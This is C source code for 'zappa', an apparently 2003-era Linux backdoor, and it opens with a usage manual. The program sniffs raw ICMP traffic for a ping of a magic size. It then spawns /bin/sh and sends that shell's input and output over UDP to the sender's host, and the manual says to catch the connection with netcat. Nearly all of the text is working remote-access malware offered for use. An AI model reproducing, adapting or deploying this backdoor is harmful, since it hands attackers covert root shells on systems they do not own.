/*************************************************************************** * zappa v0.1beta - advanced backdoor (tested on linux 2.4.20) * written by Soeren Bleikertz, 2oo3 * soeren@geekgate.org - http://www.sac.cc * * Description: * 'zappa' is an advanced backdoor, which doesn't listen on a TCP-port for * clients, further it waits for a special ICMP-packet and then it 'connects' * to an UDP-server on the 'client'. * * manual: * Start the backdoor with UID(0) on the target host and start a UDP-server on * port on your host. Use 'nc -ulp ' for it. Ping the host with the * flags -c 1 -s . The backdoor will create a connection to your * UDP-server and you can type in your commands. * * TODO: * - hide raw-socket * - BSD-compatible * ****************************************************************************/ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include //CONFIG #define PORT 2323 //53 would be a nice value #define PKT_SIZE 100 // ping -s #define SHELL "/bin/sh" #define TIMEOUT 20 //seconds #define BUFF_SIZE 2048 //bytes //EOC #define BAN_WELCOME "evil backd00r - Have a lot of fun..\n" //change this :> #define BAN_BYE "Have a nice day..\n" //SIGCHLD-handler void sig_chld(int signo) { pid_t pid; int s; while ((pid = waitpid(-1, &s, WNOHANG)) > 0) return; } //UDP-based and passive backdoor int backdoor(u_int32_t saddr) { struct sockaddr_in cli; struct in_addr chkaddr; //fd: child--write-->parent, //fd2: parent--write-->child int sock, sock_b, pipe_b, fd[2], fd2[2], highfd; char buffer[BUFF_SIZE]; socklen_t len; pid_t pid; fd_set readfds; struct timeval tout; //timeout if ((sock = socket(AF_INET, SOCK_DGRAM, 0)) == -1) { #ifdef DEBUG perror("socket() failed"); #endif return -1; } cli.sin_addr.s_addr = chkaddr.s_addr = saddr; cli.sin_port = htons(PORT); cli.sin_family = AF_INET; len = sizeof(cli); FD_ZERO(&readfds); sendto(sock, BAN_WELCOME, sizeof(BAN_WELCOME), 0, (struct sockaddr*)&cli, len); #ifdef DEBUG printf("send banner.\n"); #endif if ((pipe(fd) == -1) || (pipe(fd2) == -1)) { #ifdef DEBUG perror("pipe() failed"); #endif return -1; } //child if ((pid=fork()) == 0) { close(fd[0]); //close read-pipe close(fd2[1]); //close write-pipe //redirect I/O dup2(fd2[0], 0); dup2(fd[1], 1); dup2(fd[1], 2); execl(SHELL, SHELL, NULL); //start shell close(fd[1]); close(fd2[0]); exit(0); } //parent else if (pid > 0) { close(fd[1]); //close write-pipe close(fd2[0]); //close read-pipe fcntl(sock, F_SETFL, O_NONBLOCK); fcntl(fd[0], F_SETFL, O_NONBLOCK); highfd = (sock > fd[0]) ?sock :fd[0]; #ifdef DEBUG printf("select()...\n"); #endif while(1) { FD_SET(sock,&readfds); FD_SET(fd[0],&readfds); bzero(buffer, sizeof(buffer)); tout.tv_sec = TIMEOUT; tout.tv_usec = 0; select(highfd+1, &readfds,NULL,NULL,&tout); sock_b = recvfrom(sock, buffer, sizeof(buffer), 0, (struct sockaddr*)&cli, &len); pipe_b = read(fd[0], buffer, sizeof(buffer)); if (sock_b > 0) { #ifdef DEBUG printf("sock: %s\n", buffer); #endif //verify src-addr if (chkaddr.s_addr != cli.sin_addr.s_addr) continue; write(fd2[1], buffer, sock_b); } if (pipe_b > 0) { buffer[pipe_b] = 0; #ifdef DEBUG printf("pipe: %s\n", buffer); #endif sendto(sock, buffer, pipe_b, 0, (struct sockaddr*)&cli, len); } if ((!pipe_b) || (!sock_b)) break; } close(fd[0]); //close pipe close(fd2[1]); //close pipe sendto(sock, BAN_BYE, sizeof(BAN_BYE), 0, (struct sockaddr*)&cli, len); close(sock); //close socket } else { #ifdef DEBUG perror("fork() failed"); #endif return -1; } return 0; } //icmp-watchd int main (int argc, char **argv) { int sock, recvb; char buff[1024]; struct icmphdr *icmph; struct iphdr *iph; signal(SIGCHLD,sig_chld); if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) == -1) { #ifdef DEBUG perror("socket() failed"); //debug #endif exit(-1); } iph = (struct iphdr*) buff; icmph = (struct icmphdr*) (buff + sizeof(*iph)); #ifdef DEBUG printf("ICMP-WatchD...\n"); #endif while ((recvb = recv(sock, buff, sizeof(buff), 0)) > 0) { //is it our magic packet? if ((icmph->type == ICMP_ECHO) && (recvb == PKT_SIZE+sizeof(*iph)+sizeof(*icmph))) { backdoor(iph->saddr); } } return 0; } //EOF